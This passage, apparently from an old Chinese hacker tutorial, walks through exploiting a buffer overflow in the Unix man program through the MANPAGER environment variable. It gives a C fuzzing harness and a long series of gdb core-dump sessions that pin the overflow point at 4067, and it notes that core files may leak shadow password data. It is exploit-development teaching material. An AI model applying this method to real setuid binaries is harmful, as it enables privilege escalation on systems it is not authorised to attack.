缓冲区溢出分析

在调试这个程序的时候，我们发现 MANPAGER 环境变量值长度在某个地方被检查过，
只是这个检查对于溢出攻击取得shell并没有起到保护作用。

为什么这里定义 OFFSET 为2000呢，可以采用条目6中的办法来观察一下execle()之
后环境变量区里的内容，简单修改如下：

--------------------------------------------------------------------------
#define VULPROGRAM "./usrbin_man"
... ...
execle( VULPROGRAM, VULPROGRAM, argv[1], NULL, env );
return( SUCCESS );
} /* end of main */
--------------------------------------------------------------------------

偏移为2000的时候返回地址落在NOP区内。那么溢出点4067呢？没办法，还是从前一
个程序里直接获知的，有core dump的时候可以调试确定。

8. 关于core文件以及确定溢出点

以前知道一点产生core dump的条件，但感受不深，今天都快要结束本篇灌水了，才
真正感受了一下。

我拷贝了一个/usr/bin/man到当前目录~scz/src下，然后定义问题程序为./man，此
时以scz用户身份运行exploit code，故意不正确覆盖返回地址，立即得到
core dump。

后来又以root身份在几个不同的当前目录下测试不同的组合情况，有些时候会得到
core dump，有些时候只报告段溢出。core文件是内存映像文件，与产生它的进程密
切相关，而产生进程对应硬盘文件的属主、权限以及当前执行它的用户身份都与是否
产生core dump有关。情况虽然很复杂很多，但至少有一点可以肯定，如果包括
exploit code和问题程序在内的的所有文件都是当前用户所有，段溢出时一般都会
core dump在当前目录下。对于上面的/usr/bin/man，我们完全可以调试./man找到
溢出点。此外需要提醒的是，如果希望得到正确的core dump，一定要先删除当前目
录下已经存在的core文件。

之所以这样限制core dump，应该有其安全方面的考虑。下面我们来简单看看如何确
定./man的溢出点。

--------------------------------------------------------------------------
/*
* gcc -o ex_man ex_man.c
*
* 目的就是产生core dump
*/

#include <stdio.h>
#include <sys/param.h>
#include <sys/stat.h>
#include <string.h>
#include <sys/types.h>

#define VULPROGRAM "./man"
#define PAD_1 'A'
#define PAD_2 'B'
#define SUCCESS 0
#define FAILURE -1

int main ( int argc, char * argv[] )
{
char * vulbuf = NULL;
char * env[2];
u_long vulbufSize;
if ( argc != 2 )
{
fprintf( stderr, "Usage: %s <vulbufSize>\n", argv[0] );
return( FAILURE );
}
vulbufSize = strtoul( argv[1], NULL, 10 );
vulbuf = ( char * )malloc( vulbufSize );
if ( vulbuf == NULL )
{
fprintf( stderr, "Can't allocate memory %lu bytes\n", vulbufSize );
return( FAILURE );
}
memset( vulbuf, PAD_1, vulbufSize );
vulbuf[ vulbufSize - 5 ] = PAD_2;
vulbuf[ vulbufSize - 4 ] = PAD_2;
vulbuf[ vulbufSize - 3 ] = PAD_2;
vulbuf[ vulbufSize - 2 ] = PAD_2;
vulbuf[ vulbufSize - 1 ] = '\0';
memcpy( vulbuf, "MANPAGER=", 9 );
env[0] = vulbuf;
env[1] = NULL;
execle( VULPROGRAM, VULPROGRAM, "ls", NULL, env );
free( vulbuf );
return( SUCCESS );
} /* end of main */
--------------------------------------------------------------------------

[scz@ /home/scz/src]> ./ex_man 5000
Segmentation fault (core dumped)
[scz@ /home/scz/src]> gdb ./man core
GNU gdb 4.18
Program terminated with signal 11, Segmentation fault.
#0 0x41414141 in ?? ()
#0 0x41414141 in ?? ()
(gdb) bt
#0 0x41414141 in ?? ()
Cannot access memory at address 0x41414141.
(gdb) q
[scz@ /home/scz/src]>

说明5000已经导致返回地址被覆盖成0x41414141，考虑减小该值。重复类似步骤，直
到发现4063仍未溢出，4064开始溢出，并core dump。

[scz@ /home/scz/src]> ./ex_man 4063
[scz@ /home/scz/src]> ./ex_man 4064
Segmentation fault (core dumped)
[scz@ /home/scz/src]> gdb ./man core
GNU gdb 4.18
Program terminated with signal 11, Segmentation fault.
#0 0x41414141 in ?? ()
#0 0x41414141 in ?? ()
(gdb) bt
#0 0x41414141 in ?? ()
Cannot access memory at address 0x41414141.
(gdb) q
[scz@ /home/scz/src]> ./ex_man 4065
Segmentation fault (core dumped)
[scz@ /home/scz/src]> gdb ./man core
Core was generated by `./man ls'.
Program terminated with signal 11, Segmentation fault.
#0 0x0 in ?? ()
(gdb) bt
#0 0x0 in ?? ()
(gdb) q
[scz@ /home/scz/src]> ./ex_man 4066
Segmentation fault (core dumped)
[scz@ /home/scz/src]> gdb ./man core
#0 0x804a3de in strcpy () at ../sysdeps/generic/strcpy.c:30
(gdb) bt
#0 0x804a3de in strcpy () at ../sysdeps/generic/strcpy.c:30
Cannot access memory at address 0xbf004236.
(gdb) q
[scz@ /home/scz/src]> ./ex_man 4067
Segmentation fault (core dumped)
[scz@ /home/scz/src]> gdb ./man core
#0 0x804a3de in strcpy () at ../sysdeps/generic/strcpy.c:30
30 ../sysdeps/generic/strcpy.c: No such file or directory.
(gdb) bt
#0 0x804a3de in strcpy () at ../sysdeps/generic/strcpy.c:30
Cannot access memory at address 0x424236.
(gdb) q
[scz@ /home/scz/src]> ./ex_man 4068
Segmentation fault (core dumped)
[scz@ /home/scz/src]> gdb ./man core
#0 0x804a362 in strcpy () at ../sysdeps/generic/strcpy.c:30
30 ../sysdeps/generic/strcpy.c: No such file or directory.
(gdb) bt
#0 0x804a362 in strcpy () at ../sysdeps/generic/strcpy.c:30
#1 0x807d948 in ?? ()
Cannot access memory at address 0x42424242.
(gdb) q
[scz@ /home/scz/src]> ./ex_man 4069
Segmentation fault (core dumped)
[scz@ /home/scz/src]> gdb ./man core
#0 0x8040042 in ?? ()
(gdb) bt
#0 0x8040042 in ?? ()
Cannot access memory at address 0x42424241.
(gdb) q
[scz@ /home/scz/src]> ./ex_man 4070
Segmentation fault (core dumped)
[scz@ /home/scz/src]> gdb ./man core
#0 0x8004242 in ?? ()
(gdb) bt
#0 0x8004242 in ?? ()
Cannot access memory at address 0x42424141.
(gdb) q
[scz@ /home/scz/src]> ./ex_man 4071
Segmentation fault (core dumped)
[scz@ /home/scz/src]> gdb ./man core
#0 0x424242 in ?? ()
(gdb) bt
#0 0x424242 in ?? ()
Cannot access memory at address 0x42414141.
(gdb) q
[scz@ /home/scz/src]> ./ex_man 4072
Segmentation fault (core dumped)
[scz@ /home/scz/src]> gdb ./man core
#0 0x42424242 in ?? ()
(gdb) bt
#0 0x42424242 in ?? ()
Cannot access memory at address 0x41414141.
(gdb) q
[scz@ /home/scz/src]> ./ex_man 4073
Segmentation fault (core dumped)
[scz@ /home/scz/src]> gdb ./man core
#0 0x42424241 in ?? ()
(gdb) bt
#0 0x42424241 in ?? ()
Cannot access memory at address 0x41414141.
(gdb) q
[scz@ /home/scz/src]>

在从4064到4073的分析观察过程中，我们显然已经看到，当取值4072的时候会覆盖一
个函数指针还是返回地址什么的，总之是个会导致控制流转移的4字节。注意到我们
测试程序中代码，溢出点应该在 4072 - 5 = 4067。至此，猜测确定溢出点的工作完
成了。至于为什么通过execle()执行和通过命令行shell执行时溢出点相差较远，我
也不清楚。看来以后确定溢出点，直接用程序猜测确定要准确些。

core文件的好处很多，这里仅仅列举了一种应用。以后看到core我就要看看什么宝贝
其中，说不好一个shadow就来了。grin

9. 总结

a) 可以利用条目6的办法观察execle()之后环境变量区内容，确定很多地址。
b) 无法溢出取得shell的时候尝试换个终端登录工具。
c) 没有core dump，你就去死吧。一定要想法得到core文件，进而调试确定问题程序
溢出点。得不到core时仔细检查相关文件权限以及当前用户身份。

最新评论